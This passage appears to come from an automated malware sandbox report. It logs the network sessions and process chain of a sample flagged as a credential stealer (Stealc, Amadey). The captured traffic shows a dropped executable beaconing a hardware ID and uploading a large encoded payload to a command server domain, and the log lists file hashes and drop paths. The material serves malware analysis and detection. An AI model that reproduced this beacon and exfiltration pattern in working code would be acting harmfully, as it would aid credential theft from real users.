2024-12-27 08:03:41 UTC	1139	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:03:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4uplpltk4ld41cgo8et2oigpj3; expires=Tue, 22 Apr 2025 01:50:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2I%2BsRQvm5kKu%2B2Fh15XuJuhsLjXXNlyM%2FP7g%2FL6CKpVLTlK9D0DOUAXFA%2BPsIJ%2FRty3N1FEsvGm04yGZlpA%2BF8U0bQF0JcZH8N4Ai9I82jHCPt5u7hf6idErczTV%2B0FbNhuxTuLX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87cba0e99e7cfa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2003&min_rtt=2002&rtt_var=752&sent=15&recv=25&lost=0&retrans=0&sent_bytes=2847&recv_bytes=21385&delivery_rate=1458541&cwnd=189&unsent_bytes=0&cid=54cc55de82ce8e08&ts=936&x=0"
2024-12-27 08:03:41 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:03:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.11	49927	104.21.23.76	443	3392	C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:03:42 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YUB2WRNPN03R42A User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1218 Host: pancakedipyps.click
2024-12-27 08:03:42 UTC	1218	OUT	Data Raw: 2d 2d 59 55 42 32 57 52 4e 50 4e 30 33 52 34 32 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 34 36 33 44 46 46 39 31 32 42 42 34 32 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 59 55 42 32 57 52 4e 50 4e 30 33 52 34 32 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 59 55 42 32 57 52 4e 50 4e 30 33 52 34 32 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 59 55 42 32 57 52 Data Ascii: --YUB2WRNPN03R42AContent-Disposition: form-data; name="hwid"3463DFF912BB4217BEBA0C6A975F1733--YUB2WRNPN03R42AContent-Disposition: form-data; name="pid"1--YUB2WRNPN03R42AContent-Disposition: form-data; name="lid"FATE99--test--YUB2WR
2024-12-27 08:03:43 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:03:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3hovt77956jhdpev63v17c7m6r; expires=Tue, 22 Apr 2025 01:50:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kBYxbGgiNpm0Pz4KtMWE%2BJl2pG3T4D3gKtykmcQ0OvsPzlTEohEgO0dVh6ZOnTqIvvQaeX5dsTJrVxv7CXkxJS9a%2BUAnS84jl3dvb522vfn4aeA4jGZd0Sw47xR%2B%2Fk3wuSAK5TyH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87cbb1df3043fd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1702&min_rtt=1695&rtt_var=649&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=2135&delivery_rate=1667618&cwnd=217&unsent_bytes=0&cid=a298482c0147374c&ts=1155&x=0"
2024-12-27 08:03:43 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:03:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.11	49936	104.21.23.76	443	3392	C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:03:45 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZCXDLT9RYAI4TU18 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569826 Host: pancakedipyps.click
2024-12-27 08:03:45 UTC	15331	OUT	Data Raw: 2d 2d 5a 43 58 44 4c 54 39 52 59 41 49 34 54 55 31 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 34 36 33 44 46 46 39 31 32 42 42 34 32 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 5a 43 58 44 4c 54 39 52 59 41 49 34 54 55 31 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 5a 43 58 44 4c 54 39 52 59 41 49 34 54 55 31 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 5a 43 58 Data Ascii: --ZCXDLT9RYAI4TU18Content-Disposition: form-data; name="hwid"3463DFF912BB4217BEBA0C6A975F1733--ZCXDLT9RYAI4TU18Content-Disposition: form-data; name="pid"1--ZCXDLT9RYAI4TU18Content-Disposition: form-data; name="lid"FATE99--test--ZCX
2024-12-27 08:03:45 UTC	15331	OUT	Data Raw: f1 86 8c 85 e1 4b 6a 75 c5 6d aa 4e 15 2f d1 c0 e4 0a f0 3e a7 00 8e 32 d4 e8 75 4e 0c a6 41 83 71 14 f5 34 8a be 22 ac 0f fe bf dd e2 73 68 7a bd f1 ef ed 43 ea 5c 50 c5 30 04 57 e9 00 15 68 52 70 43 f2 60 4c 30 86 3a f4 36 85 80 74 b9 f7 e2 9a b8 be 9d 85 a7 be b3 6a c0 16 83 9e 83 48 73 bf 8a dc d7 01 83 e6 55 9b 7c 5e 60 ac e9 86 78 3e c4 ed 4b ec 6c a2 de e6 b3 1d 0a d5 70 23 bf ff 20 50 8e d6 e2 4a 15 a5 d2 47 99 eb 53 c2 5b be 62 54 3f 49 8b 4c a7 ac 3d c9 9e a4 f8 39 3b 90 a3 b9 bb 66 67 1f 7e f9 30 8a 99 d1 ce 19 af 2a 4c 60 b9 14 70 87 c6 6c f3 9b 50 fe ec a4 9d 17 e3 26 e0 d4 6f 20 13 3b 24 6e 1b a9 b2 34 1e db 3f 4d d3 51 a4 ca 0d c0 e6 8c b9 7f fe 10 53 50 8a 56 06 57 ef e9 96 6f 7d fb 41 1d e4 5e f0 99 fd b6 7c 84 57 12 49 6a 3a ad 06 e0 19 Data Ascii: KjumN/>2uNAq4"shzC\P0WhRpC`L0:6tjHsU\|^`x>Klp# PJGS[bT?IL=9;fg~0*L`plP&o ;$n4?MQSPVWo}A^\|WIj:
2024-12-27 08:03:45 UTC	15331	OUT	Data Raw: 95 47 98 25 bf 04 32 c0 fe 6d 86 1b 4b 46 5a 70 ea a3 ce 20 f8 ad ae 40 d2 6b 62 64 f8 b3 63 ea aa 2c eb ce 68 5f ba 51 6b 25 27 4f 99 a6 00 6c 13 da 30 71 a6 26 b9 bb cb b1 aa 8b af 58 62 15 73 f2 f7 9a 8c 36 19 11 8b 61 dc 72 de bb 1b 29 16 83 ff be ed 32 e4 73 e8 fe 03 60 d6 aa 66 4a 07 86 22 95 0b ee 88 3b 78 87 29 0f d1 da 8f 45 9d 96 3b 75 db 0a 0c a5 1d 02 d5 e3 69 9b 3e 04 40 9a df 1a 8c e8 a8 da 53 30 6c fd 93 e3 eb ae e6 4f b5 f3 cf b2 2f 5d b9 ad e3 b6 25 ed d9 3e ab ea 39 67 3f 90 c5 b8 d6 be cd f4 85 97 4a 59 72 77 fe 09 5d b7 d7 d9 7a 74 73 d1 e6 fc f5 aa 81 f4 54 e7 3d c0 6b e0 07 04 57 21 ff e7 2c 52 59 23 53 24 e7 2a 17 67 41 c0 be c9 0d f8 0f 01 4b 0a 20 b3 20 72 af 68 0a 32 d7 10 20 5d a3 98 f4 ff 3d 98 50 6b 1f 31 5e 1f 88 82 c3 18 be Data Ascii: G%2mKFZp @kbdc,h_Qk%'Ol0q&Xbs6ar)2s`fJ";x)E;ui>@S0lO/]%>9g?JYrw]ztsT=kW!,RY#S$*gAK rh2 ]=Pk1^
2024-12-27 08:03:45 UTC	15331	OUT	Data Raw: 19 2e c8 fe f3 a5 c5 65 41 32 db 75 ec 85 ac c7 35 90 99 2a 66 9d fe a8 6d 4a 15 ba fc 4f 26 5c 1f 43 f1 b6 6e c3 67 da 56 61 9a 1d 7c f3 90 ed 21 d6 93 cb af e9 b9 0f 2b 22 54 6d a7 e3 02 85 1c e4 9d e2 d3 61 f1 12 74 83 c5 53 80 9e db 86 d5 9e 49 2f ef fd 57 2f 68 7f 11 5f c7 7d ba c7 71 9e f9 af 0a 7d 26 ff ec 76 24 ba 06 1f f5 8d 79 bc 2c 2f 7c c6 c5 79 8a dd 27 f9 f5 58 59 c5 5d 72 c6 c3 4c ef b6 2c ee 7a f3 cb 60 24 6e b9 2c 63 03 46 7f a5 b1 5b b0 ae f7 e7 9d 29 cf e6 df dd 57 26 e9 fb 34 4e d2 06 c8 0f f3 fc a8 21 2a 7f 00 d2 70 f5 28 37 c8 37 7c c3 3f e7 e4 95 6a 0c 48 3a e5 14 3d a3 56 67 a3 20 32 a9 fe da 77 fa 30 4f 3a bb e6 b4 ab 4b 3f a2 b6 f3 d3 1d ae 45 8a 58 af 3d 5d 8a d3 b6 3b b1 e1 9f 10 cb 9f 12 8e 03 04 23 02 77 1b 89 84 c3 05 85 75 Data Ascii: .eA2u5fmJO&\CngVa\|!+"TmatSI/W/h_}q}&v$y,/\|y'XY]rL,z`$n,cF[)W&4N!p(77\|?jH:=Vg 2w0O:K?EX=];#wu
2024-12-27 08:03:45 UTC	15331	OUT	Data Raw: 4d 4d a9 c7 1e c7 13 03 30 ff 8b b4 a7 f3 30 7d 2a fa 4b 97 7a 9d 73 ab eb 08 75 65 c8 f6 2a d1 51 63 36 83 1f 74 7e a6 a6 ca af 6a da c4 06 62 c8 18 d9 f0 c8 2f 2f ba 61 4f c7 e1 e7 62 f9 4c 57 f9 cc 20 e8 14 28 f0 ff ec c0 f8 df c3 24 8c 76 c1 91 7a 75 0f 1e 62 9d b2 a0 ef 26 bf cf be b3 c0 92 91 95 81 76 8f 74 ee c7 d2 3a 9c d5 03 d7 1e c1 88 0d 84 02 61 b0 f7 c6 4d 9e b2 86 6a c2 e2 78 26 11 67 17 b8 d6 b9 42 76 ab ef d9 b0 48 6b e9 8f 94 59 28 bd 59 67 f3 ce 67 3a 1d 4e 04 84 5e b8 9c 19 b1 0c c4 39 86 83 40 09 cc c0 2e 21 14 75 fb 7b 3c 34 63 32 50 96 a0 b5 5c e3 95 66 0a 48 39 8e 97 11 e8 69 2d 68 be c5 cb 53 61 61 e1 d2 8a b2 27 04 5e 15 05 e7 48 d0 85 75 0a 87 12 ec 59 95 bc 76 cf cd 3f 72 84 44 84 ff 9d ac 44 8e c8 a6 f0 fa 7e 56 63 3e 31 be 04 Data Ascii: MM00}KzsueQc6t~jb//aObLW ($vzub&vt:aMjx&gBvHkY(Ygg:N^9@.!u{<4c2P\fH9i-hSaa'^HuYv?rDD~Vc>1
2024-12-27 08:03:45 UTC	15331	OUT	Data Raw: 2f 85 ce ce 75 33 02 6d f4 4a b6 d4 4c b5 a2 69 86 3f 10 7f 04 4f 04 a6 f2 ab fb 03 d4 96 21 df e6 01 81 31 01 4a 39 c7 68 69 b3 73 25 1b e9 8e e5 f9 d7 0d 4d e8 4b 57 b8 47 af a0 8f fd de 7a 2f 6c db 6d 89 41 c5 d7 b3 3a 5a 42 3b af 1e 19 8c 6c b8 68 6b 1b c7 9a 4c 77 10 bb b7 6e ce ed cc fa f6 4b ee 6f 94 11 70 b7 0f 5f f1 7c 38 aa a6 cf cf c6 c5 30 05 9a 0f fd 6b 44 d4 f3 e5 41 7e 51 07 d8 4d 14 fd 3b 9b 28 ce 9f 69 72 0b 6a 99 62 69 07 2f a5 84 a7 08 4e 3c a3 5d 46 e8 a4 8e 4a e2 4c 8d 5e d6 41 e3 dc 1d 7a 76 ec ec 02 4b 45 97 b4 87 09 07 c9 fc 6b 46 ea 48 0f de 57 9f 95 95 d0 96 38 5b 67 c9 7b a7 e1 de 40 c8 d5 4b 36 e3 dc 9f 8b 09 7a 20 87 95 c9 72 dc 51 70 9c 66 7d 60 94 f9 91 ec bf f5 c7 81 e2 8f 9e 94 a5 a8 72 0a 84 a9 8e fc df 84 9a ff 8d c6 5c Data Ascii: /u3mJLi?O!1J9his%MKWGz/lmA:ZB;lhkLwnKop_\|80kDA~QM;(irjbi/N<]FJL^AzvKEkFHW8[g{@K6z rQpf}`r\
2024-12-27 08:03:45 UTC	15331	OUT	Data Raw: 05 6e fb 42 af 62 40 1a aa fc d5 48 be 2e 05 ae 14 ab 6d a5 f7 85 a9 d6 54 39 20 bd f1 43 83 14 b8 e6 d7 85 a2 bc f9 40 2a 38 d4 48 58 18 d5 ff f9 56 ec 79 fd eb a7 86 54 01 d1 f1 69 d6 9b 96 6f 6f 0e ab 99 2e 11 76 dd 64 fd 59 8a 90 9c 57 d5 13 fd 21 2e 77 7f 32 ce 75 e2 c3 58 e5 9e f8 86 37 8d 1b c5 ec fe a6 08 74 9e d9 a5 4b b3 e6 d9 eb 29 72 4f 7a e6 da b6 37 ac a5 a2 18 eb 84 41 ff fd d8 28 13 b1 7a 5a 9f 65 37 98 df 78 b6 e3 7f 57 6e df 76 d8 9e 08 0e 6e f7 54 bd 71 e7 07 e8 02 3c e6 f6 48 f5 bb 22 20 81 b4 50 d0 6c 26 0b df c3 c6 80 8c 78 9c 3d 92 18 c0 6d 40 75 e2 35 53 61 a8 8d 81 a2 07 ce 04 ce df 00 af 1d 93 09 74 bc 50 69 5b 4f f6 a6 1a f9 72 8a b0 5a 63 60 2c 50 4b 2d 71 ca 5d 20 2f e5 61 ce ad 59 1e 02 f8 33 ad 34 1f 59 98 40 6c 6b e1 74 d4 Data Ascii: nBb@H.mT9 C@*8HXVyTioo.vdYW!.w2uX7tK)rOz7A(zZe7xWnvnTq<H" Pl&x=m@u5SatPi[OrZc`,PK-q] /aY34Y@lkt
2024-12-27 08:03:45 UTC	15331	OUT	Data Raw: f6 27 d1 0e 47 73 e2 0d 05 57 65 46 ed 16 31 96 c4 78 87 08 95 76 04 09 61 61 92 b5 f0 43 e6 bd 3f 7e 59 3f 8e a0 8b 1a 3c 07 72 7c 8c 05 e7 0f 22 f2 5e 11 cb 47 12 ad 89 89 34 1b 77 c1 f3 13 64 ef 53 a3 b5 bb 9c 26 c6 9d 56 52 2e 7c 9c d4 12 ad e8 e8 37 6a 57 2d fb 87 4e ea db 77 44 07 0a e0 44 dc 50 81 14 69 e7 a2 82 c0 6d e7 95 eb eb 94 e1 0d dc 93 ba 4e 6b 34 f9 39 d7 97 ba f0 72 e8 81 ba fe 0a a1 b9 fd f9 31 10 b3 10 d8 2c 1c 85 c4 03 bc 88 99 1e 3a eb 82 a6 5e 91 2a cf d5 9f ef 98 3c f8 cf d0 57 6b 51 fc 7c 70 4a ae 02 af 4e 2d b2 ca 36 ab 03 49 32 2f ba bc 81 66 f8 5e f8 9d 2c 06 5e 9a a8 4f 5f ca 4e 10 14 a1 2d 56 62 7d 8e ae 30 d0 a6 be 94 47 9f d3 b9 6e 18 c9 85 61 43 69 13 47 bd bd b5 37 7c 97 8a 5e a5 bf 0f c4 84 d6 1a 9d 07 0e 18 c0 9a f6 37 Data Ascii: 'GsWeF1xvaaC?~Y?<r\|"^G4wdS&VR.\|7jW-NwDDPimNk49r1,:^*<WkQ\|pJN-6I2/f^,^O_N-Vb}0GnaCiG7\|^7
2024-12-27 08:03:45 UTC	15331	OUT	Data Raw: 98 76 06 84 ad 2c b4 35 86 5e 38 51 8b e3 d3 1e 56 6f ce 09 fd 14 32 ac 17 fc 08 13 bd 42 10 d8 b6 59 df 30 1c a3 4d 33 ad 60 d2 c5 50 f4 5c 85 60 7b 0a f7 bb ac c7 68 83 00 7f 34 10 65 57 eb 97 61 62 b0 0e 31 32 fb 47 3e c3 51 20 ea a4 c5 7b fd b2 f8 bf 1f 5a 08 48 67 1c 09 92 dd b4 23 7e 29 2b a8 af 95 07 1d 1f 70 68 18 a6 4e 6f 9c ae 13 c5 d2 93 9e 23 73 1e 92 4b d9 3f 24 3d cc 32 ab 09 5d b6 85 c3 90 fc 15 8e 59 e6 a6 6e 2b 24 54 04 b2 46 71 2b 6c c0 05 cc e2 31 a4 65 19 e4 7d 30 f9 fb 30 1d df 3f 5a 8a 62 49 20 f6 62 f3 e6 6e 58 c5 b0 0e 6c 7d 5b a1 54 4f bc bb da 48 e0 59 13 e8 2f a5 2e 33 42 9f b6 01 62 6a 44 ac f0 4a 48 45 fc ca 41 2d db 2b fc 77 95 1f 62 b7 24 d6 f7 c8 f0 a8 b9 b7 a8 88 a6 6d 7f 68 64 e8 b4 40 b1 65 2b e6 90 9b e6 15 4c 17 14 73 Data Ascii: v,5^8QVo2BY0M3`P\`{h4eWab12G>Q {ZHg#~)+phNo#sK?$=2]Yn+$TFq+l1e}00?ZbI bnXl}[TOHY/.3BbjDJHEA-+wb$mhd@e+Ls
2024-12-27 08:03:45 UTC	15331	OUT	Data Raw: f7 88 10 29 60 3f ce 6b d4 af 2a 13 ce fe 5e 48 5e 5a 71 3b 06 f0 36 f8 29 3e 20 39 b7 22 c6 7d 5f 1e df c3 cb 0a aa 75 c4 ec 88 c3 a1 10 67 2c 65 e1 ec 0e d0 69 99 7f 34 f4 67 5f 98 2a b8 a4 43 15 06 66 6f 77 e8 1f f5 ff b1 d5 b4 3f de e5 1a fb c7 0b 11 0d 70 6a dd 76 1f 6e 37 20 fc 5d 89 40 22 e4 f2 03 dd d5 68 f7 fb 0f c8 47 e1 1f 68 ac 67 55 dc 87 38 2c f0 14 7e 2b 97 70 8a 7c 1f 24 c4 91 c2 43 8f cc ac 05 3f c0 04 53 f9 8f e6 37 f1 51 cc 4c 8a b9 f6 eb 16 fa 32 12 a3 bc cc ec bd 05 ad ee 06 97 16 23 a5 fc b4 be 5b b9 08 d9 88 8c 18 c7 62 97 9e 9e 16 fd 1c 1c 8e a3 ce 29 af 55 14 84 ce 5b b5 54 eb 23 f8 ec c1 55 9c 39 60 e7 20 f0 c7 17 72 79 b6 8e 76 88 cf 3f ff 47 7f a1 e0 aa 3a e8 74 8f 45 bb 0a 2d 68 ce d4 6f 61 59 f8 8d cb 33 89 f9 22 8b e4 a3 61 Data Ascii: )`?k^H^Zq;6)> 9"}_ug,ei4g_Cfow?pjvn7 ]@"hGhgU8,~+p\|$C?S7QL2#[b)U[T#U9` ryv?G:tE-hoaY3"a
2024-12-27 08:04:25 UTC	963	IN	HTTP/1.1 522 Date: Fri, 27 Dec 2024 08:04:25 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=igXp22lZ%2Bcld36uoCx%2BdqGENc6snyWVgLeOOi7RfDzRZqrM3i82bnfLbP7%2BuUwF6tnp3sEbjsllIeJTvCoAugpYaMTNtPWTa9hCx00ecnX0kg8cQ74S%2Be5rK3ylHYhuqqtc6pmQ0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8f87cbc26dfb0f6b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1474&min_rtt=1472&rtt_var=557&sent=371&recv=591&lost=0&retrans=0&sent_bytes=2847&recv_bytes=572374&delivery_rate=1953177&cwnd=210&unsent_bytes=0&cid=8fecd68099d787fc&ts=40069&x=0"

Target ID:	0
Start time:	03:02:12
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\vVJvxAfBDM.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\vVJvxAfBDM.exe"
Imagebase:	0x110000
File size:	1'880'576 bytes
MD5 hash:	B66C35386662ACD2CBFE2F6518D0698B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1438293982.0000000001494000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1438242809.000000000148C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1438136460.000000000148A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:02:44
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe"
Imagebase:	0x280000
File size:	5'242'880 bytes
MD5 hash:	17D940E3012D0A3589F9DCB08CB8AACB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000003.00000002.1691504958.0000000000281000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000003.00000002.1693019497.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:02:50
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe"
Imagebase:	0x6d0000
File size:	3'241'472 bytes
MD5 hash:	0A0F11159921131E89D2E3203E99B1F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.1738420714.00000000006D1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:02:54
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x7a0000
File size:	3'241'472 bytes
MD5 hash:	0A0F11159921131E89D2E3203E99B1F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.1770294583.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:03:00
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x7a0000
File size:	3'241'472 bytes
MD5 hash:	0A0F11159921131E89D2E3203E99B1F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:03:27
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe"
Imagebase:	0xa00000
File size:	540'672 bytes
MD5 hash:	9AB250B0DC1D156E2D123D277EB4D132
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:03:27
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:03:28
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe"
Imagebase:	0xa00000
File size:	540'672 bytes
MD5 hash:	9AB250B0DC1D156E2D123D277EB4D132
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Function 014EAF87 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1624227235.00000000014EA000.00000004.00000020.00020000.00000000.sdmp, Offset: 014EA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_14ea000_vVJvxAfBDM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: badfddd84d505d71c2aa7fb06da35c42e54fadb512b4b9a11c47ba0bad7d12df
Instruction ID: 85c025e92af38a9d1c47de5b824b04a5767c8ca6516b890b9193360a4d7ac3d6
Opcode Fuzzy Hash: badfddd84d505d71c2aa7fb06da35c42e54fadb512b4b9a11c47ba0bad7d12df
Instruction Fuzzy Hash: 84E07D35868941CEC329CA14C8A9DC7F3E0A940216365C45FC16187A53C2608412CE44

Analysis Process: KXEO11ILDTYX6ZOG0B.exePID: 5816, Parent PID: 7496COMMON

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.1%
Total number of Nodes:	763
Total number of Limit Nodes:	16

Executed Functions

Function 0070652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,0070652A,?,?,?,?,?,00707661), ref: 00706567

Memory Dump Source

Source File: 00000005.00000002.1738420714.00000000006D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 006D0000, based on PE: true

